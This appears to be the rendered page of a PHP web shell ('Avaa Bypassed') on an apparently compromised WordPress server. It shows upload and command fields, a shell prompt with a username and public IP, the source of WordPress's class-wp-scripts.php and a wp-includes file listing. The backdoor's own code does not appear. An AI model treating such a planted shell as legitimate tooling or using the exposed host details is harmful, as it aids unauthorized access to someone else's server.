[ Avaa Bypassed ]




Upload:

Command:

hmhc3928@3.133.156.254: ~ $
<?php
/**
 * Dependencies API: WP_Scripts class
 *
 * @since 2.6.0
 *
 * @package WordPress
 * @subpackage Dependencies
 */

/**
 * Core class used to register scripts.
 *
 * @since 2.1.0
 *
 * @see WP_Dependencies
 */
class WP_Scripts extends WP_Dependencies {
	/**
	 * Base URL for scripts.
	 *
	 * Full URL with trailing slash.
	 *
	 * @since 2.6.0
	 * @var string
	 */
	public $base_url;

	/**
	 * URL of the content directory.
	 *
	 * @since 2.8.0
	 * @var string
	 */
	public $content_url;

	/**
	 * Default version string for scripts.
	 *
	 * @since 2.6.0
	 * @var string
	 */
	public $default_version;

	/**
	 * Holds handles of scripts which are enqueued in footer.
	 *
	 * @since 2.8.0
	 * @var array
	 */
	public $in_footer = array();

	/**
	 * Holds a list of script handles which will be concatenated.
	 *
	 * @since 2.8.0
	 * @var string
	 */
	public $concat = '';

	/**
	 * Holds a string which contains script handles and their version.
	 *
	 * @since 2.8.0
	 * @deprecated 3.4.0
	 * @var string
	 */
	public $concat_version = '';

	/**
	 * Whether to perform concatenation.
	 *
	 * @since 2.8.0
	 * @var bool
	 */
	public $do_concat = false;

	/**
	 * Holds HTML markup of scripts and additional data if concatenation
	 * is enabled.
	 *
	 * @since 2.8.0
	 * @var string
	 */
	public $print_html = '';

	/**
	 * Holds inline code if concatenation is enabled.
	 *
	 * @since 2.8.0
	 * @var string
	 */
	public $print_code = '';

	/**
	 * Holds a list of script handles which are not in the default directory
	 * if concatenation is enabled.
	 *
	 * Unused in core.
	 *
	 * @since 2.8.0
	 * @var string
	 */
	public $ext_handles = '';

	/**
	 * Holds a string which contains handles and versions of scripts which
	 * are not in the default directory if concatenation is enabled.
	 *
	 * Unused in core.
	 *
	 * @since 2.8.0
	 * @var string
	 */
	public $ext_version = '';

	/**
	 * List of default directories.
	 *
	 * @since 2.8.0
	 * @var array
	 */
	public $default_dirs;

	/**
	 * Holds a mapping of dependents (as handles) for a given script handle.
	 * Used to optimize recursive dependency tree checks.
	 *
	 * @since 6.3.0
	 * @var array
	 */
	private $dependents_map = array();

	/**
	 * Holds a reference to the delayed (non-blocking) script loading strategies.
	 * Used by methods that validate loading strategies.
	 *
	 * @since 6.3.0
	 * @var string[]
	 */
	private $delayed_strategies = array( 'defer', 'async' );

	/**
	 * Constructor.
	 *
	 * @since 2.6.0
	 */
	public function __construct() {
		$this->init();
		add_action( 'init', array( $this, 'init' ), 0 );
	}

	/**
	 * Initialize the class.
	 *
	 * @since 3.4.0
	 */
	public function init() {
		/**
		 * Fires when the WP_Scripts instance is initialized.
		 *
		 * @since 2.6.0
		 *
		 * @param WP_Scripts $wp_scripts WP_Scripts instance (passed by reference).
		 */
		do_action_ref_array( 'wp_default_scripts', array( &$this ) );
	}

	/**
	 * Prints scripts.
	 *
	 * Prints the scripts passed to it or the print queue. Also prints all necessary dependencies.
	 *
	 * @since 2.1.0
	 * @since 2.8.0 Added the `$group` parameter.
	 *
	 * @param string|string[]|false $handles Optional. Scripts to be printed: queue (false),
	 *                                       single script (string), or multiple scripts (array of strings).
	 *                                       Default false.
	 * @param int|false             $group   Optional. Group level: level (int), no groups (false).
	 *                                       Default false.
	 * @return string[] Handles of scripts that have been printed.
	 */
	public function print_scripts( $handles = false, $group = false ) {
		return $this->do_items( $handles, $group );
	}

	/**
	 * Prints extra scripts of a registered script.
	 *
	 * @since 2.1.0
	 * @since 2.8.0 Added the `$display` parameter.
	 * @deprecated 3.3.0
	 *
	 * @see print_extra_script()
	 *
	 * @param string $handle  The script's registered handle.
	 * @param bool   $display Optional. Whether to print the extra script
	 *                        instead of just returning it. Default true.
	 * @return bool|string|void Void if no data exists, extra scripts if `$display` is true,
	 *                          true otherwise.
	 */
	public function print_scripts_l10n( $handle, $display = true ) {
		_deprecated_function( __FUNCTION__, '3.3.0', 'WP_Scripts::print_extra_script()' );
		return $this->print_extra_script( $handle, $display );
	}

	/**
	 * Prints extra scripts of a registered script.
	 *
	 * @since 3.3.0
	 *
	 * @param string $handle  The script's registered handle.
	 * @param bool   $display Optional. Whether to print the extra script
	 *                        instead of just returning it. Default true.
	 * @return bool|string|void Void if no data exists, extra scripts if `$display` is true,
	 *                          true otherwise.
	 */
	public function print_extra_script( $handle, $display = true ) {
		$output = $this->get_data( $handle, 'data' );
		if ( ! $output ) {
			return;
		}

		if ( ! $display ) {
			return $output;
		}

		wp_print_inline_script_tag( $output, array( 'id' => "{$handle}-js-extra" ) );

		return true;
	}

	/**
	 * Checks whether all dependents of a given handle are in the footer.
	 *
	 * If there are no dependents, this is considered the same as if all dependents were in the footer.
	 *
	 * @since 6.4.0
	 *
	 * @param string $handle Script handle.
	 * @return bool Whether all dependents are in the footer.
	 */
	private function are_all_dependents_in_footer( $handle ) {
		foreach ( $this->get_dependents( $handle ) as $dep ) {
			if ( isset( $this->groups[ $dep ] ) && 0 === $this->groups[ $dep ] ) {
				return false;
			}
		}
		return true;
	}

	/**
	 * Processes a script dependency.
	 *
	 * @since 2.6.0
	 * @since 2.8.0 Added the `$group` parameter.
	 *
	 * @see WP_Dependencies::do_item()
	 *
	 * @param string    $handle The script's registered handle.
	 * @param int|false $group  Optional. Group level: level (int), no groups (false).
	 *                          Default false.
	 * @return bool True on success, false on failure.
	 */
	public function do_item( $handle, $group = false ) {
		if ( ! parent::do_item( $handle ) ) {
			return false;
		}

		if ( 0 === $group && $this->groups[ $handle ] > 0 ) {
			$this->in_footer[] = $handle;
			return false;
		}

		if ( false === $group && in_array( $handle, $this->in_footer, true ) ) {
			$this->in_footer = array_diff( $this->in_footer, (array) $handle );
		}

		$obj = $this->registered[ $handle ];

		if ( null === $obj->ver ) {
			$ver = '';
		} else {
			$ver = $obj->ver ? $obj->ver : $this->default_version;
		}

		if ( isset( $this->args[ $handle ] ) ) {
			$ver = $ver ? $ver . '&amp;' . $this->args[ $handle ] : $this->args[ $handle ];
		}

		$src                   = $obj->src;
		$strategy              = $this->get_eligible_loading_strategy( $handle );
		$intended_strategy     = (string) $this->get_data( $handle, 'strategy' );
		$ie_conditional_prefix = '';
		$ie_conditional_suffix = '';
		$conditional           = isset( $obj->extra['conditional'] ) ? $obj->extra['conditional'] : '';

		if ( ! $this->is_delayed_strategy( $intended_strategy ) ) {
			$intended_strategy = '';
		}

		/*
		 * Move this script to the footer if:
		 * 1. The script is in the header group.
		 * 2. The current output is the header.
		 * 3. The intended strategy is delayed.
		 * 4. The actual strategy is not delayed.
		 * 5. All dependent scripts are in the footer.
		 */
		if (
			0 === $group &&
			0 === $this->groups[ $handle ] &&
			$intended_strategy &&
			! $this->is_delayed_strategy( $strategy ) &&
			$this->are_all_dependents_in_footer( $handle )
		) {
			$this->in_footer[] = $handle;
			return false;
		}

		if ( $conditional ) {
			$ie_conditional_prefix = "<!--[if {$conditional}]>\n";
			$ie_conditional_suffix = "<![endif]-->\n";
		}

		$before_script = $this->get_inline_script_tag( $handle, 'before' );
		$after_script  = $this->get_inline_script_tag( $handle, 'after' );

		if ( $before_script || $after_script ) {
			$inline_script_tag = $ie_conditional_prefix . $before_script . $after_script . $ie_conditional_suffix;
		} else {
			$inline_script_tag = '';
		}

		/*
		 * Prevent concatenation of scripts if the text domain is defined
		 * to ensure the dependency order is respected.
		 */
		$translations_stop_concat = ! empty( $obj->textdomain );

		$translations = $this->print_translations( $handle, false );
		if ( $translations ) {
			$translations = wp_get_inline_script_tag( $translations, array( 'id' => "{$handle}-js-translations" ) );
		}

		if ( $this->do_concat ) {
			/**
			 * Filters the script loader source.
			 *
			 * @since 2.2.0
			 *
			 * @param string $src    Script loader source path.
			 * @param string $handle Script handle.
			 */
			$filtered_src = apply_filters( 'script_loader_src', $src, $handle );

			if (
				$this->in_default_dir( $filtered_src )
				&& ( $before_script || $after_script || $translations_stop_concat || $this->is_delayed_strategy( $strategy ) )
			) {
				$this->do_concat = false;

				// Have to print the so-far concatenated scripts right away to maintain the right order.
				_print_scripts();
				$this->reset();
			} elseif ( $this->in_default_dir( $filtered_src ) && ! $conditional ) {
				$this->print_code     .= $this->print_extra_script( $handle, false );
				$this->concat         .= "$handle,";
				$this->concat_version .= "$handle$ver";
				return true;
			} else {
				$this->ext_handles .= "$handle,";
				$this->ext_version .= "$handle$ver";
			}
		}

		$has_conditional_data = $conditional && $this->get_data( $handle, 'data' );

		if ( $has_conditional_data ) {
			echo $ie_conditional_prefix;
		}

		$this->print_extra_script( $handle );

		if ( $has_conditional_data ) {
			echo $ie_conditional_suffix;
		}

		// A single item may alias a set of items, by having dependencies, but no source.
		if ( ! $src ) {
			if ( $inline_script_tag ) {
				if ( $this->do_concat ) {
					$this->print_html .= $inline_script_tag;
				} else {
					echo $inline_script_tag;
				}
			}

			return true;
		}

		if ( ! preg_match( '|^(https?:)?//|', $src ) && ! ( $this->content_url && str_starts_with( $src, $this->content_url ) ) ) {
			$src = $this->base_url . $src;
		}

		if ( ! empty( $ver ) ) {
			$src = add_query_arg( 'ver', $ver, $src );
		}

		/** This filter is documented in wp-includes/class-wp-scripts.php */
		$src = esc_url_raw( apply_filters( 'script_loader_src', $src, $handle ) );

		if ( ! $src ) {
			return true;
		}

		$attr = array(
			'src' => $src,
			'id'  => "{$handle}-js",
		);
		if ( $strategy ) {
			$attr[ $strategy ] = true;
		}
		if ( $intended_strategy ) {
			$attr['data-wp-strategy'] = $intended_strategy;
		}
		$tag  = $translations . $ie_conditional_prefix . $before_script;
		$tag .= wp_get_script_tag( $attr );
		$tag .= $after_script . $ie_conditional_suffix;

		/**
		 * Filters the HTML script tag of an enqueued script.
		 *
		 * @since 4.1.0
		 *
		 * @param string $tag    The `<script>` tag for the enqueued script.
		 * @param string $handle The script's registered handle.
		 * @param string $src    The script's source URL.
		 */
		$tag = apply_filters( 'script_loader_tag', $tag, $handle, $src );

		if ( $this->do_concat ) {
			$this->print_html .= $tag;
		} else {
			echo $tag;
		}

		return true;
	}

	/**
	 * Adds extra code to a registered script.
	 *
	 * @since 4.5.0
	 *
	 * @param string $handle   Name of the script to add the inline script to.
	 *                         Must be lowercase.
	 * @param string $data     String containing the JavaScript to be added.
	 * @param string $position Optional. Whether to add the inline script
	 *                         before the handle or after. Default 'after'.
	 * @return bool True on success, false on failure.
	 */
	public function add_inline_script( $handle, $data, $position = 'after' ) {
		if ( ! $data ) {
			return false;
		}

		if ( 'after' !== $position ) {
			$position = 'before';
		}

		$script   = (array) $this->get_data( $handle, $position );
		$script[] = $data;

		return $this->add_data( $handle, $position, $script );
	}

	/**
	 * Prints inline scripts registered for a specific handle.
	 *
	 * @since 4.5.0
	 * @deprecated 6.3.0 Use methods get_inline_script_tag() or get_inline_script_data() instead.
	 *
	 * @param string $handle   Name of the script to print inline scripts for.
	 *                         Must be lowercase.
	 * @param string $position Optional. Whether to add the inline script
	 *                         before the handle or after. Default 'after'.
	 * @param bool   $display  Optional. Whether to print the script tag
	 *                         instead of just returning the script data. Default true.
	 * @return string|false Script data on success, false otherwise.
	 */
	public function print_inline_script( $handle, $position = 'after', $display = true ) {
		_deprecated_function( __METHOD__, '6.3.0', 'WP_Scripts::get_inline_script_data() or WP_Scripts::get_inline_script_tag()' );

		$output = $this->get_inline_script_data( $handle, $position );
		if ( empty( $output ) ) {
			return false;
		}

		if ( $display ) {
			echo $this->get_inline_script_tag( $handle, $position );
		}
		return $output;
	}

	/**
	 * Gets data for inline scripts registered for a specific handle.
	 *
	 * @since 6.3.0
	 *
	 * @param string $handle   Name of the script to get data for.
	 *                         Must be lowercase.
	 * @param string $position Optional. Whether to add the inline script
	 *                         before the handle or after. Default 'after'.
	 * @return string Inline script, which may be empty string.
	 */
	public function get_inline_script_data( $handle, $position = 'after' ) {
		$data = $this->get_data( $handle, $position );
		if ( empty( $data ) || ! is_array( $data ) ) {
			return '';
		}

		return trim( implode( "\n", $data ), "\n" );
	}

	/**
	 * Gets tags for inline scripts registered for a specific handle.
	 *
	 * @since 6.3.0
	 *
	 * @param string $handle   Name of the script to get associated inline script tag for.
	 *                         Must be lowercase.
	 * @param string $position Optional. Whether to get tag for inline
	 *                         scripts in the before or after position. Default 'after'.
	 * @return string Inline script, which may be empty string.
	 */
	public function get_inline_script_tag( $handle, $position = 'after' ) {
		$js = $this->get_inline_script_data( $handle, $position );
		if ( empty( $js ) ) {
			return '';
		}

		$id = "{$handle}-js-{$position}";

		return wp_get_inline_script_tag( $js, compact( 'id' ) );
	}

	/**
	 * Localizes a script, only if the script has already been added.
	 *
	 * @since 2.1.0
	 *
	 * @param string $handle      Name of the script to attach data to.
	 * @param string $object_name Name of the variable that will contain the data.
	 * @param array  $l10n        Array of data to localize.
	 * @return bool True on success, false on failure.
	 */
	public function localize( $handle, $object_name, $l10n ) {
		if ( 'jquery' === $handle ) {
			$handle = 'jquery-core';
		}

		if ( is_array( $l10n ) && isset( $l10n['l10n_print_after'] ) ) { // back compat, preserve the code in 'l10n_print_after' if present.
			$after = $l10n['l10n_print_after'];
			unset( $l10n['l10n_print_after'] );
		}

		if ( ! is_array( $l10n ) ) {
			_doing_it_wrong(
				__METHOD__,
				sprintf(
					/* translators: 1: $l10n, 2: wp_add_inline_script() */
					__( 'The %1$s parameter must be an array. To pass arbitrary data to scripts, use the %2$s function instead.' ),
					'<code>$l10n</code>',
					'<code>wp_add_inline_script()</code>'
				),
				'5.7.0'
			);

			if ( false === $l10n ) {
				// This should really not be needed, but is necessary for backward compatibility.
				$l10n = array( $l10n );
			}
		}

		if ( is_string( $l10n ) ) {
			$l10n = html_entity_decode( $l10n, ENT_QUOTES, 'UTF-8' );
		} elseif ( is_array( $l10n ) ) {
			foreach ( $l10n as $key => $value ) {
				if ( ! is_scalar( $value ) ) {
					continue;
				}

				$l10n[ $key ] = html_entity_decode( (string) $value, ENT_QUOTES, 'UTF-8' );
			}
		}

		$script = "var $object_name = " . wp_json_encode( $l10n ) . ';';

		if ( ! empty( $after ) ) {
			$script .= "\n$after;";
		}

		$data = $this->get_data( $handle, 'data' );

		if ( ! empty( $data ) ) {
			$script = "$data\n$script";
		}

		return $this->add_data( $handle, 'data', $script );
	}

	/**
	 * Sets handle group.
	 *
	 * @since 2.8.0
	 *
	 * @see WP_Dependencies::set_group()
	 *
	 * @param string    $handle    Name of the item. Should be unique.
	 * @param bool      $recursion Internal flag that calling function was called recursively.
	 * @param int|false $group     Optional. Group level: level (int), no groups (false).
	 *                             Default false.
	 * @return bool Not already in the group or a lower group.
	 */
	public function set_group( $handle, $recursion, $group = false ) {
		if ( isset( $this->registered[ $handle ]->args ) && 1 === $this->registered[ $handle ]->args ) {
			$calculated_group = 1;
		} else {
			$calculated_group = (int) $this->get_data( $handle, 'group' );
		}

		if ( false !== $group && $calculated_group > $group ) {
			$calculated_group = $group;
		}

		return parent::set_group( $handle, $recursion, $calculated_group );
	}

	/**
	 * Sets a translation textdomain.
	 *
	 * @since 5.0.0
	 * @since 5.1.0 The `$domain` parameter was made optional.
	 *
	 * @param string $handle Name of the script to register a translation domain to.
	 * @param string $domain Optional. Text domain. Default 'default'.
	 * @param string $path   Optional. The full file path to the directory containing translation files.
	 * @return bool True if the text domain was registered, false if not.
	 */
	public function set_translations( $handle, $domain = 'default', $path = '' ) {
		if ( ! isset( $this->registered[ $handle ] ) ) {
			return false;
		}

		/** @var \_WP_Dependency $obj */
		$obj = $this->registered[ $handle ];

		if ( ! in_array( 'wp-i18n', $obj->deps, true ) ) {
			$obj->deps[] = 'wp-i18n';
		}

		return $obj->set_translations( $domain, $path );
	}

	/**
	 * Prints translations set for a specific handle.
	 *
	 * @since 5.0.0
	 *
	 * @param string $handle  Name of the script to add the inline script to.
	 *                        Must be lowercase.
	 * @param bool   $display Optional. Whether to print the script
	 *                        instead of just returning it. Default true.
	 * @return string|false Script on success, false otherwise.
	 */
	public function print_translations( $handle, $display = true ) {
		if ( ! isset( $this->registered[ $handle ] ) || empty( $this->registered[ $handle ]->textdomain ) ) {
			return false;
		}

		$domain = $this->registered[ $handle ]->textdomain;
		$path   = '';

		if ( isset( $this->registered[ $handle ]->translations_path ) ) {
			$path = $this->registered[ $handle ]->translations_path;
		}

		$json_translations = load_script_textdomain( $handle, $domain, $path );

		if ( ! $json_translations ) {
			return false;
		}

		$output = <<<JS
( function( domain, translations ) {
	var localeData = translations.locale_data[ domain ] || translations.locale_data.messages;
	localeData[""].domain = domain;
	wp.i18n.setLocaleData( localeData, domain );
} )( "{$domain}", {$json_translations} );
JS;

		if ( $display ) {
			wp_print_inline_script_tag( $output, array( 'id' => "{$handle}-js-translations" ) );
		}

		return $output;
	}

	/**
	 * Determines script dependencies.
	 *
	 * @since 2.1.0
	 *
	 * @see WP_Dependencies::all_deps()
	 *
	 * @param string|string[] $handles   Item handle (string) or item handles (array of strings).
	 * @param bool            $recursion Optional. Internal flag that function is calling itself.
	 *                                   Default false.
	 * @param int|false       $group     Optional. Group level: level (int), no groups (false).
	 *                                   Default false.
	 * @return bool True on success, false on failure.
	 */
	public function all_deps( $handles, $recursion = false, $group = false ) {
		$result = parent::all_deps( $handles, $recursion, $group );
		if ( ! $recursion ) {
			/**
			 * Filters the list of script dependencies left to print.
			 *
			 * @since 2.3.0
			 *
			 * @param string[] $to_do An array of script dependency handles.
			 */
			$this->to_do = apply_filters( 'print_scripts_array', $this->to_do );
		}
		return $result;
	}

	/**
	 * Processes items and dependencies for the head group.
	 *
	 * @since 2.8.0
	 *
	 * @see WP_Dependencies::do_items()
	 *
	 * @return string[] Handles of items that have been processed.
	 */
	public function do_head_items() {
		$this->do_items( false, 0 );
		return $this->done;
	}

	/**
	 * Processes items and dependencies for the footer group.
	 *
	 * @since 2.8.0
	 *
	 * @see WP_Dependencies::do_items()
	 *
	 * @return string[] Handles of items that have been processed.
	 */
	public function do_footer_items() {
		$this->do_items( false, 1 );
		return $this->done;
	}

	/**
	 * Whether a handle's source is in a default directory.
	 *
	 * @since 2.8.0
	 *
	 * @param string $src The source of the enqueued script.
	 * @return bool True if found, false if not.
	 */
	public function in_default_dir( $src ) {
		if ( ! $this->default_dirs ) {
			return true;
		}

		if ( str_starts_with( $src, '/' . WPINC . '/js/l10n' ) ) {
			return false;
		}

		foreach ( (array) $this->default_dirs as $test ) {
			if ( str_starts_with( $src, $test ) ) {
				return true;
			}
		}
		return false;
	}

	/**
	 * This overrides the add_data method from WP_Dependencies, to support normalizing of $args.
	 *
	 * @since 6.3.0
	 *
	 * @param string $handle Name of the item. Should be unique.
	 * @param string $key    The data key.
	 * @param mixed  $value  The data value.
	 * @return bool True on success, false on failure.
	 */
	public function add_data( $handle, $key, $value ) {
		if ( ! isset( $this->registered[ $handle ] ) ) {
			return false;
		}

		if ( 'strategy' === $key ) {
			if ( ! empty( $value ) && ! $this->is_delayed_strategy( $value ) ) {
				_doing_it_wrong(
					__METHOD__,
					sprintf(
						/* translators: 1: $strategy, 2: $handle */
						__( 'Invalid strategy `%1$s` defined for `%2$s` during script registration.' ),
						$value,
						$handle
					),
					'6.3.0'
				);
				return false;
			} elseif ( ! $this->registered[ $handle ]->src && $this->is_delayed_strategy( $value ) ) {
				_doing_it_wrong(
					__METHOD__,
					sprintf(
						/* translators: 1: $strategy, 2: $handle */
						__( 'Cannot supply a strategy `%1$s` for script `%2$s` because it is an alias (it lacks a `src` value).' ),
						$value,
						$handle
					),
					'6.3.0'
				);
				return false;
			}
		}
		return parent::add_data( $handle, $key, $value );
	}

	/**
	 * Gets all dependents of a script.
	 *
	 * @since 6.3.0
	 *
	 * @param string $handle The script handle.
	 * @return string[] Script handles.
	 */
	private function get_dependents( $handle ) {
		// Check if dependents map for the handle in question is present. If so, use it.
		if ( isset( $this->dependents_map[ $handle ] ) ) {
			return $this->dependents_map[ $handle ];
		}

		$dependents = array();

		// Iterate over all registered scripts, finding dependents of the script passed to this method.
		foreach ( $this->registered as $registered_handle => $args ) {
			if ( in_array( $handle, $args->deps, true ) ) {
				$dependents[] = $registered_handle;
			}
		}

		// Add the handles dependents to the map to ease future lookups.
		$this->dependents_map[ $handle ] = $dependents;

		return $dependents;
	}

	/**
	 * Checks if the strategy passed is a valid delayed (non-blocking) strategy.
	 *
	 * @since 6.3.0
	 *
	 * @param string $strategy The strategy to check.
	 * @return bool True if $strategy is one of the delayed strategies, otherwise false.
	 */
	private function is_delayed_strategy( $strategy ) {
		return in_array(
			$strategy,
			$this->delayed_strategies,
			true
		);
	}

	/**
	 * Gets the best eligible loading strategy for a script.
	 *
	 * @since 6.3.0
	 *
	 * @param string $handle The script handle.
	 * @return string The best eligible loading strategy.
	 */
	private function get_eligible_loading_strategy( $handle ) {
		$intended_strategy = (string) $this->get_data( $handle, 'strategy' );

		// Bail early if there is no intended strategy.
		if ( ! $intended_strategy ) {
			return '';
		}

		/*
		 * If the intended strategy is 'defer', limit the initial list of eligible
		 * strategies, since 'async' can fallback to 'defer', but not vice-versa.
		 */
		$initial_strategy = ( 'defer' === $intended_strategy ) ? array( 'defer' ) : null;

		$eligible_strategies = $this->filter_eligible_strategies( $handle, $initial_strategy );

		// Return early once we know the eligible strategy is blocking.
		if ( empty( $eligible_strategies ) ) {
			return '';
		}

		return in_array( 'async', $eligible_strategies, true ) ? 'async' : 'defer';
	}

	/**
	 * Filter the list of eligible loading strategies for a script.
	 *
	 * @since 6.3.0
	 *
	 * @param string              $handle              The script handle.
	 * @param string[]|null       $eligible_strategies Optional. The list of strategies to filter. Default null.
	 * @param array<string, true> $checked             Optional. An array of already checked script handles, used to avoid recursive loops.
	 * @return string[] A list of eligible loading strategies that could be used.
	 */
	private function filter_eligible_strategies( $handle, $eligible_strategies = null, $checked = array() ) {
		// If no strategies are being passed, all strategies are eligible.
		if ( null === $eligible_strategies ) {
			$eligible_strategies = $this->delayed_strategies;
		}

		// If this handle was already checked, return early.
		if ( isset( $checked[ $handle ] ) ) {
			return $eligible_strategies;
		}

		// Mark this handle as checked.
		$checked[ $handle ] = true;

		// If this handle isn't registered, don't filter anything and return.
		if ( ! isset( $this->registered[ $handle ] ) ) {
			return $eligible_strategies;
		}

		// If the handle is not enqueued, don't filter anything and return.
		if ( ! $this->query( $handle, 'enqueued' ) ) {
			return $eligible_strategies;
		}

		$is_alias          = (bool) ! $this->registered[ $handle ]->src;
		$intended_strategy = $this->get_data( $handle, 'strategy' );

		// For non-alias handles, an empty intended strategy filters all strategies.
		if ( ! $is_alias && empty( $intended_strategy ) ) {
			return array();
		}

		// Handles with inline scripts attached in the 'after' position cannot be delayed.
		if ( $this->has_inline_script( $handle, 'after' ) ) {
			return array();
		}

		// If the intended strategy is 'defer', filter out 'async'.
		if ( 'defer' === $intended_strategy ) {
			$eligible_strategies = array( 'defer' );
		}

		$dependents = $this->get_dependents( $handle );

		// Recursively filter eligible strategies for dependents.
		foreach ( $dependents as $dependent ) {
			// Bail early once we know the eligible strategy is blocking.
			if ( empty( $eligible_strategies ) ) {
				return array();
			}

			$eligible_strategies = $this->filter_eligible_strategies( $dependent, $eligible_strategies, $checked );
		}

		return $eligible_strategies;
	}

	/**
	 * Gets data for inline scripts registered for a specific handle.
	 *
	 * @since 6.3.0
	 *
	 * @param string $handle   Name of the script to get data for. Must be lowercase.
	 * @param string $position The position of the inline script.
	 * @return bool Whether the handle has an inline script (either before or after).
	 */
	private function has_inline_script( $handle, $position = null ) {
		if ( $position && in_array( $position, array( 'before', 'after' ), true ) ) {
			return (bool) $this->get_data( $handle, $position );
		}

		return (bool) ( $this->get_data( $handle, 'before' ) || $this->get_data( $handle, 'after' ) );
	}

	/**
	 * Resets class properties.
	 *
	 * @since 2.8.0
	 */
	public function reset() {
		$this->do_concat      = false;
		$this->print_code     = '';
		$this->concat         = '';
		$this->concat_version = '';
		$this->print_html     = '';
		$this->ext_version    = '';
		$this->ext_handles    = '';
	}
}

Filemanager

Name Type Size Permission Actions
ID3 Folder 0755
IXR Folder 0755
PHPMailer Folder 0755
Requests Folder 0755
SimplePie Folder 0755
Text Folder 0755
assets Folder 0755
block-bindings Folder 0755
block-patterns Folder 0755
block-supports Folder 0755
blocks Folder 0755
certificates Folder 0755
css Folder 0755
customize Folder 0755
fonts Folder 0755
html-api Folder 0755
images Folder 0755
interactivity-api Folder 0755
js Folder 0755
l10n Folder 0755
php-compat Folder 0755
pomo Folder 0755
rest-api Folder 0755
sitemaps Folder 0755
sodium_compat Folder 0755
style-engine Folder 0755
theme-compat Folder 0755
widgets Folder 0755
admin-bar.php File 36.23 KB 0644
atomlib.php File 11.79 KB 0644
author-template.php File 18.51 KB 0644
block-bindings.php File 5.46 KB 0644
block-editor.php File 27.68 KB 0644
block-i18n.json File 316 B 0644
block-patterns.php File 12.81 KB 0644
block-template-utils.php File 58.74 KB 0644
block-template.php File 13.81 KB 0644
blocks.php File 102.36 KB 0644
bookmark-template.php File 12.64 KB 0644
bookmark.php File 15.07 KB 0644
cache-compat.php File 5.83 KB 0644
cache.php File 13.16 KB 0644
canonical.php File 33.71 KB 0644
capabilities.php File 41.72 KB 0644
category-template.php File 55.67 KB 0644
category.php File 12.41 KB 0644
class-IXR.php File 2.48 KB 0644
class-avif-info.php File 28.92 KB 0644
class-feed.php File 539 B 0644
class-http.php File 367 B 0644
class-json.php File 42.66 KB 0644
class-oembed.php File 401 B 0644
class-phpass.php File 6.61 KB 0644
class-phpmailer.php File 664 B 0644
class-pop3.php File 20.68 KB 0644
class-requests.php File 2.18 KB 0644
class-simplepie.php File 453 B 0644
class-smtp.php File 457 B 0644
class-snoopy.php File 36.83 KB 0644
class-walker-category-dropdown.php File 2.41 KB 0644
class-walker-category.php File 8.28 KB 0644
class-walker-comment.php File 13.89 KB 0644
class-walker-nav-menu.php File 11.51 KB 0644
class-walker-page-dropdown.php File 2.65 KB 0644
class-walker-page.php File 7.43 KB 0644
class-wp-admin-bar.php File 17.46 KB 0644
class-wp-ajax-response.php File 5.14 KB 0644
class-wp-application-passwords.php File 15.25 KB 0644
class-wp-block-bindings-registry.php File 8.26 KB 0644
class-wp-block-bindings-source.php File 2.92 KB 0644
class-wp-block-editor-context.php File 1.32 KB 0644
class-wp-block-list.php File 4.65 KB 0644
class-wp-block-metadata-registry.php File 8.16 KB 0644
class-wp-block-parser-block.php File 2.5 KB 0644
class-wp-block-parser-frame.php File 1.97 KB 0644
class-wp-block-parser.php File 11.26 KB 0644
class-wp-block-pattern-categories-registry.php File 5.25 KB 0644
class-wp-block-patterns-registry.php File 10.53 KB 0644
class-wp-block-styles-registry.php File 6.12 KB 0644
class-wp-block-supports.php File 5.48 KB 0644
class-wp-block-template.php File 1.99 KB 0644
class-wp-block-templates-registry.php File 7.06 KB 0644
class-wp-block-type-registry.php File 4.9 KB 0644
class-wp-block-type.php File 16.86 KB 0644
class-wp-block.php File 19.96 KB 0644
class-wp-classic-to-block-menu-converter.php File 3.99 KB 0644
class-wp-comment-query.php File 47.26 KB 0644
class-wp-comment.php File 9.15 KB 0644
class-wp-customize-control.php File 25.13 KB 0644
class-wp-customize-manager.php File 197.79 KB 0644
class-wp-customize-nav-menus.php File 55.84 KB 0644
class-wp-customize-panel.php File 10.39 KB 0644
class-wp-customize-section.php File 10.95 KB 0644
class-wp-customize-setting.php File 29.19 KB 0644
class-wp-customize-widgets.php File 70.47 KB 0644
class-wp-date-query.php File 34.89 KB 0644
class-wp-dependencies.php File 14.78 KB 0644
class-wp-dependency.php File 2.57 KB 0644
class-wp-duotone.php File 39.83 KB 0644
class-wp-editor.php File 70.64 KB 0644
class-wp-embed.php File 15.62 KB 0644
class-wp-error.php File 7.33 KB 0644
class-wp-exception.php File 253 B 0644
class-wp-fatal-error-handler.php File 7.96 KB 0644
class-wp-feed-cache-transient.php File 3.1 KB 0644
class-wp-feed-cache.php File 969 B 0644
class-wp-hook.php File 15.63 KB 0644
class-wp-http-cookie.php File 7.22 KB 0644
class-wp-http-curl.php File 12.25 KB 0644
class-wp-http-encoding.php File 6.53 KB 0644
class-wp-http-ixr-client.php File 3.42 KB 0644
class-wp-http-proxy.php File 5.84 KB 0644
class-wp-http-requests-hooks.php File 1.97 KB 0644
class-wp-http-requests-response.php File 4.3 KB 0644
class-wp-http-response.php File 2.91 KB 0644
class-wp-http-streams.php File 16.46 KB 0644
class-wp-http.php File 40.53 KB 0644
class-wp-image-editor-gd.php File 19.42 KB 0644
class-wp-image-editor-imagick.php File 31.9 KB 0644
class-wp-image-editor.php File 16.54 KB 0644
class-wp-list-util.php File 7.27 KB 0644
class-wp-locale-switcher.php File 6.47 KB 0644
class-wp-locale.php File 15.73 KB 0644
class-wp-matchesmapregex.php File 1.79 KB 0644
class-wp-meta-query.php File 29.82 KB 0644
class-wp-metadata-lazyloader.php File 6.67 KB 0644
class-wp-navigation-fallback.php File 9 KB 0644
class-wp-network-query.php File 19.39 KB 0644
class-wp-network.php File 12.01 KB 0644
class-wp-object-cache.php File 17.11 KB 0644
class-wp-oembed-controller.php File 6.74 KB 0644
class-wp-oembed.php File 30.74 KB 0644
class-wp-paused-extensions-storage.php File 4.99 KB 0644
class-wp-plugin-dependencies.php File 24.73 KB 0644
class-wp-post-type.php File 29.63 KB 0644
class-wp-post.php File 6.33 KB 0644
class-wp-query.php File 150.47 KB 0644
class-wp-recovery-mode-cookie-service.php File 6.72 KB 0644
class-wp-recovery-mode-email-service.php File 10.92 KB 0644
class-wp-recovery-mode-key-service.php File 4.5 KB 0644
class-wp-recovery-mode-link-service.php File 3.38 KB 0644
class-wp-recovery-mode.php File 11.17 KB 0644
class-wp-rewrite.php File 62.2 KB 0644
class-wp-role.php File 2.46 KB 0644
class-wp-roles.php File 8.38 KB 0644
class-wp-script-modules.php File 18.91 KB 0644
class-wp-scripts.php File 27.68 KB 0644
class-wp-session-tokens.php File 7.28 KB 0644
